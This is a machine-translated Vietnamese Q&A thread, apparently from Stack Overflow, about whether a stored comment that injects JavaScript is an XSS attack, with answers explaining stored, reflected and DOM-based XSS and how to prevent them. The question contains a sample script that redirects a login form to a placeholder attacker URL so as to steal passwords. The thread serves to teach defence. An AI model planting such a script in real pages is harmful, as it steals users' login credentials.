2012-01-22 23 views
12

Tôi là nhà phát triển PHP và tôi đang tìm cách cải thiện tính bảo mật của trang web của mình.Là đầu vào của người dùng HTML có Javascript được hiển thị cho người khác nhưng không phải HTML đã thoát khỏi ví dụ về XSS

Từ những gì tôi hiểu sau đây là hai loại chính của lỗ hổng ảnh hưởng đến các ứng dụng web:

  • SQL Injection
  • XSS

SQL Injection có thể được cố định với tuyên bố sẵn sàng - dễ dàng.

Nhưng tôi vẫn không thực sự có được XSS - là sau một ví dụ về XSS ...

  • trang đầy đủ các nội dung do người dùng tạo có một hình thức đăng nhập ở đầu trang (site-wide) .
  • Dữ liệu nhập của người dùng vào trang không bị thoát HTML.
  • Một người sử dụng bài viết nội dung sau đây (ví dụ một bình luận) để trang ...
A really nice comment 

<!-- now an evil script (example here with jquery, but easily done without) ---> 
<script type="text/javascript"> 
$(document).ready(function() { 
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); 
}); 
</script> 
  • Một người dùng ngây thơ nói đến trang, kịch bản thực thi.
  • Người dùng vô tội nhận ra họ không đăng nhập và nhập chi tiết của họ vào biểu mẫu.
  • Chi tiết của người dùng được gửi tới http://somehackysite.com/givemyourpw.php và sau đó chi tiết tài khoản của người dùng bị đánh cắp.

Vì vậy, tôi thực sự có ba câu hỏi ở đây:

  1. Sẽ làm việc này?
  2. Đây có phải là XSS không?
  3. Có bất kỳ biện pháp phòng ngừa nào mà nhà phát triển nên thực hiện đối với XSS ngoài việc thoát HTML không?
+4

1) Có. 2) Có. 3) Có. ['strip_tags()'] (http://php.net/manual/en/function.strip-tags.php) là một khởi đầu tốt. – DaveRandom

+3

@DaveRandom 3) Không, strip_tags là ác, không bao giờ sử dụng nó. KHÔNG BAO GIỜ! – NikiC

+0

@NikiC tại sao nó lại là ác? –

Trả lời

5

Có hai loại là tấn công XSS: Phản ánh XSS và Tấn công XSS liên tục. Những gì bạn đã mô tả, nơi người dùng của trang web nhập dữ liệu được lưu ở phía máy chủ và được hiển thị cho bất kỳ ai đang xem trang, được coi là XSS liên tục. Các cuộc tấn công tương tự sẽ là nếu bạn có một hộp nhận xét trên bài đăng không thoát khỏi Javascript hoặc trang tiểu sử mà tôi có thể đặt bất kỳ thứ gì vào đó.

Lớp tấn công XSS khác là XSS phản ánh. Đây là một chút phức tạp hơn, nhưng họ số tiền cho một trong các đối số trong URL cho một trang không được thoát. Chúng thường xuất hiện trong những thứ như trang Tìm kiếm trên các trang web lớn. Bạn sẽ nhận được một URL bao gồm một số javascript trong đó (xin lỗi, ví dụ của tôi bị xáo trộn bởi trình kết xuất ở đây, vì vậy tôi không thể hiển thị cho bạn một ví dụ) và trang sẽ hiển thị javascript cho phép ai đó tạo ra một mã độc URL. Những trang này đặc biệt nguy hiểm trên các trang web phân phối bất kỳ loại dữ liệu tài chính nào; hãy tưởng tượng một người dùng tận tâm luôn kiểm tra để đảm bảo họ sẽ viết liên kết tới ngân hàng của họ, nhưng vì một cuộc tấn công XSS phản chiếu, kẻ tấn công có thể gửi chúng đến trang hợp pháp trên trang web của ngân hàng của họ, nhưng mã trong đó.

Trong mọi trường hợp, ví dụ của bạn là XSS liên tục.Bạn thậm chí có thể làm những điều bất chính hơn với các cuộc tấn công như vậy hơn là chỉ thay đổi nơi một biểu mẫu đăng nhập gửi người dùng. Họ đã nổi tiếng trong nhiều năm để làm những việc như cào thông tin từ các khu vực cá nhân của các trang web hoặc kết hợp với CSRF để khiến người dùng được xác thực thực hiện điều gì đó bằng cách chỉ cần xem một trang. Đã có một vài loại virus MySpace trong khi đó đã làm điều đó, và lây lan từ hồ sơ sang hồ sơ.

0

nó XSS và tôi tin rằng đó là tiêm javascript quá
vì vậy tôi nghĩ rằng this link sẽ giúp

5

là XSS này?

Có, đây là số injection flaw nói chung và được gọi là khai thác XSS trong trường hợp cụ thể này khi JavaScript được tiêm.

Nhưng lỗ hổng tiêm này, trong đó đầu vào của một người dùng được phản ánh cho người dùng khác mà không có bất kỳ thay đổi nào, cũng có thể mang lại cho các cuộc tấn công khác như defacement.

Điều này có hiệu quả không?

Có, rất có khả năng điều này sẽ hoạt động vì đó là máy chủ gốc phục vụ mã này giống như bất kỳ mã nào khác trong trang web. Vì vậy, giống như tác giả của trang web là người khởi tạo mã này và cũng sẽ được đối xử như vậy.

Có bất kỳ biện pháp phòng ngừa nào mà nhà phát triển nên thực hiện đối với XSS ngoài thoát HTML?

Có ba loại XSS khác nhau: DOM based XSS, Reflected XSSStored/persistent XSS). Ví dụ của bạn là một XSS được lưu trữ/tiếp tục khai thác khi máy chủ triển khai khai thác với mọi yêu cầu.

Quy tắc chung là không tin tưởng bất kỳ thông tin nhập nào của người dùng. Điều đó nói rằng hoặc chỉ có người dùng hợp lệ đầu vào nên được cho phép hoặc đầu vào người dùng được lọc (loại bỏ giá trị không hợp lệ) hoặc đúng mã hóa (chuyển đổi giá trị không hợp lệ) trước khi xuất nó. Xem OWASP’s XSS Cheat Sheet để biết thêm thông tin.

0

Có đó là một ví dụ về cuộc tấn công XSS liên tục cơ bản. Không chỉ người dùng có thể đánh cắp thông tin đăng nhập trong tình huống này mà còn cố gắng lây nhiễm cho khách truy cập hoặc liên kết spam thông qua trang web của bạn.

Hướng dẫn phòng ngừa XSS của OWASP là một khởi đầu tốt. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

Các vấn đề liên quan